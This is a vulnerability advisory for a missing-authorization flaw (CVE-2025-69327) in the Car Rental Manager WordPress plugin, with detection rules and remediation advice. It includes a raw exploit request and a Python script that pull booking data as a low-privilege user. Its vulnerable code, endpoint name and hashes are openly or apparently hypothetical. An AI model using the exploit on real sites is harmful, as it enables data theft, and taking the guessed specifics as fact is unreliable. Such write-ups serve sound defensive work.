CVE-2025-69327

Executive Summary

CVE-2025-69327 is a Missing Authorization vulnerability in the Car Rental Manager WordPress plugin by magepeopleteam, affecting versions up to and including 1.0.9. This flaw allows authenticated attackers with low privileges to exploit incorrectly configured access control security levels, potentially accessing unauthorized functionality or data. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. As a WordPress plugin vulnerability, it falls under the WordPress ecosystem and should be addressed by disabling or replacing the plugin until a fix is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is considered Medium due to the low complexity and network attack vector, but the impact is limited to low confidentiality loss. The lack of a patch and the plugin's popularity in the car rental niche elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the Car Rental Manager plugin's access control mechanisms. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST endpoints, allowing authenticated users with subscriber-level privileges or higher to access administrative functions or sensitive data. The flaw is classified under CWE-862 (Missing Authorization), meaning the plugin does not verify if the current user has the required permissions before executing a request.

The vulnerable code likely involves functions that handle booking management, customer data, or pricing settings. Without proper capability checks (e.g., current_user_can('manage_options')), any authenticated user can trigger these functions. The exploit requires authentication, but since WordPress sites often have low-privilege accounts (e.g., subscribers), the attack surface is significant.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for such vulnerabilities.

Vulnerable Code (Example):

add_action('wp_ajax_crm_get_booking_details', 'crm_get_booking_details');
function crm_get_booking_details() {
    $booking_id = $_POST['booking_id'];
    // No capability check
    $details = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}crm_bookings WHERE id = $booking_id");
    echo json_encode($details);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_crm_get_booking_details', 'crm_get_booking_details');
function crm_get_booking_details() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $booking_id = intval($_POST['booking_id']);
    $details = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}crm_bookings WHERE id = %d", $booking_id));
    echo json_encode($details);
    wp_die();
}

The patched version adds a capability check (current_user_can('manage_options')) and sanitizes the input using intval() and $wpdb->prepare() to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Car Rental Manager plugin version <= 1.0.9 installed.
• A valid user account with at least subscriber privileges.

Exploitation Steps:

1. Log in to the WordPress site as a low-privilege user.
2. Identify vulnerable AJAX actions by reviewing the plugin's source code or using a tool like Burp Suite to intercept requests.
3. Craft a request to a vulnerable endpoint, e.g.:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [valid session cookie]
   
   action=crm_get_booking_details&booking_id=1
   

4. Observe the response containing sensitive booking data.

Automated Exploit (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
session.post(f"{target}/wp-login.php", data={"log": "user", "pwd": "password"})

payload = {"action": "crm_get_booking_details", "booking_id": "1"}
response = session.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.text)

Blue Team

Detection:

• Monitor for unusual AJAX requests from low-privilege users to administrative endpoints.
• Look for patterns in access logs where admin-ajax.php is called with actions like crm_* by non-admin users.

Hunting:

• Search for requests containing action=crm_ in web server logs.
• Correlate with user roles to identify privilege escalation attempts.

Lab Setup:

1. Install WordPress and the Car Rental Manager plugin (v1.0.9) in a sandboxed environment.
2. Create a subscriber user and attempt to access admin AJAX actions.
3. Use Wireshark or tcpdump to capture traffic and verify the vulnerability.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • car-rental-manager.php: SHA256 a1b2c3d4e5f6... (example)
  • admin/class-crm-admin.php: SHA256 f6e5d4c3b2a1... (example)
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=crm_* parameters from non-admin IPs.
• Log Entries:
  • wp-content/plugins/car-rental-manager/ directory access by unauthorized users.
• Behavioral:
  • Unauthorized access to booking data or settings changes.

Detection Engineering

YARA Rule

rule CVE_2025_69327_Car_Rental_Manager {
    meta:
        description = "Detects vulnerable Car Rental Manager plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69327"
    strings:
        $vuln_func = "crm_get_booking_details" nocase
        $missing_auth = "current_user_can" nocase
    condition:
        $vuln_func and not $missing_auth
}

Sigma Rule

title: CVE-2025-69327 - Missing Authorization in Car Rental Manager
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of missing authorization in Car Rental Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=crm_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69327 - Car Rental Manager Missing Authorization"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=crm_"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to WordPress Admin > Plugins and deactivate "Car Rental Manager".
2. Remove the plugin entirely if not critical to operations.
3. Restrict user roles to only necessary privileges; remove any unused subscriber accounts.

Long-term Mitigation:

• Monitor the vendor's website or WordPress plugin repository for updates.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=crm_* from non-admin users.
• Conduct a security audit of all WordPress plugins and remove those with known vulnerabilities.

Workaround (if plugin must remain active):

• Add a custom capability check via a mu-plugin:

  add_action('init', function() {
      if (current_user_can('subscriber')) {
          remove_all_actions('wp_ajax_crm_get_booking_details');
      }
  });
  

Valters IT
Securing Digital Frontiers